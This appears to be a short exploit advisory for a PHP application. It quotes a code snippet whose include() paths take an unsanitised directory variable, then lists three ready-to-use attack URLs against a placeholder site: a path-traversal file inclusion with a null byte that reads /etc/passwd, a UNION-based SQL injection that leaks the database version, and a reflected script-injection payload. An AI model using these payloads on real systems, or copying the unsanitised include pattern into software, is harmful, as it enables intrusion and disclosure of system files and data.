if (!isset($g_pc_lib_dir))
    $g_pc_lib_dir = "lib";

...

  $g_pc_extension = "php";

  if (!defined("PCLERROR_LIB"))
  {
    include("data/inc/$g_pc_lib_dir/pclerror.lib.$g_pcltar_extension");
  }
  if (!defined("PCLTRACE_LIB"))
  {
    include("data/inc/$g_pc_lib_dir/pcltrace.lib.$g_pcltar_extension");

http://site/inc/lib/pc.lib.php?g_pc_lib_dir=../../../../../../../../../../../../../etc/passwd%00

http://site/search_results.php?cid=-1/**/union/**/select/**/1,version(),3,4,5,6--

http://site/yblog/user.php?n=<script>alert(/xss/)</script>